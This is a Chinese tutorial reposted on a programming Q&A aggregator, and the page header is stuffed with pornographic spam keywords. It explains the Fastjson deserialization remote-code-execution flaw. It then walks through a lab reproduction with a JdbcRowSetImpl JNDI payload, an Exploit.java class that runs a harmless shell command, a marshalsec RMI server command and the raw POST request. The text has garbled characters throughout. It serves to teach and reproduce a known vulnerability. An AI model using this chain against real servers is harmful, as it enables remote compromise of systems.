日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Fastjson 远程命令执⾏漏洞

發布時間:2023/12/31 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Fastjson 远程命令执⾏漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

什么是 Fastjson Fastjson

是阿?開發的?款專門?于Java開發的包,可以?便的實現 json 對象與 JavaBean 對象的轉換,JavaBean 對象與 json 字 符串的轉換, json 對象與 json 字符串的轉換。

API 使?

//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型 VO vo = JSON.parseObject("{...}"); //JSON?本解析成JSONObject類型 VO vo = JSON.parseObject("{...}", VO.class); //JSON?本解析成VO.class類

漏洞原理

使? Fastjson 的 API parseObject() 反序列化 json 字符串時,可以在字符串中加上 @type 屬性。
1. 該屬性會指定我們的 json 字符串將會反序列化到哪個類。
2. 服務端會解析這個類,提取出這個類中符合要求的setter?法與getter?法。
3. 如果傳?json字符串的鍵值中存在這個值(如xxx),就會去調?執?對應的setter、getter?法(即setxxx?法、getxxx?法)
在可以調?任意類的情況下,如果setter、getter?法中存在可以利?的情況,就會導致任意命令執?。


漏洞利?

JNDI 注?利?原理

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true }

原理是 com.sun.rowset.JdbcRowSetImpl 這個類在設置 autoCommit 的 setter 時會調? connect ?法去連接 dataSourceName 指定 的 jdbc 服務。

利?流程
1. ?客使?payload攻擊主機A(該payload需要指定rmi/ldap地址)。
2. 主機A引發反序列化漏洞,發送了進?rmi遠程發放調?,去連接主機C。
3. 主機C的rmi服務指定加載主機B的惡意java類,所以主機A通過主機C的rmi服務最終加載并執?主機B的惡意java類。
4. 主機A引發惡意系統命令執?。

復現流程
主機 A:1.1.1.1:8090
主機 B:1.1.1.1:80
主機 C:1.1.1.1:9999
主機 A、B、C 實際上是同?臺機器的不同端?。
主機 A,Fastjson 漏洞環境,這?使?的是 vulhub 環境。

主機 B,放置惡意 Java 類的服務器。
?先要編譯并上傳要執?的代碼,具體代碼如下,代碼?件名為 Exploit.java 。
?

import java.lang.Runtime; import java.lang.Process;public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash","-c","touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

在主機 B 中使? javac 命令編譯 Exploit.java ?件,?成?個 Exploit.class ?件。

javac Exploit.java

在主機 B 開啟?個 http 服務,需要能訪問到 Exploit.class ?件。我們使? python3 臨時啟動?個。

python -m http.server 80

?主機 C,開啟 RMI 服務。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:80/#Exploit" 9999

服務全部準備就緒,下?步要向主機 A 發送 payload 了。

POST / HTTP/1.1 Host:192.168.112.129:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 172 { "naraku":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.112.129:9999/Exploit", "autoCommit":true } }

?主機 A 收到 payload 之后,觸發了反序列化漏洞,?先向 RMI 服務器發送請求。

然后 RMI ?去請求 Exploit.class ?件。

?

最終觸發漏洞,成功執?了惡意命令。?

?

?

?

總結

以上是生活随笔為你收集整理的Fastjson 远程命令执⾏漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。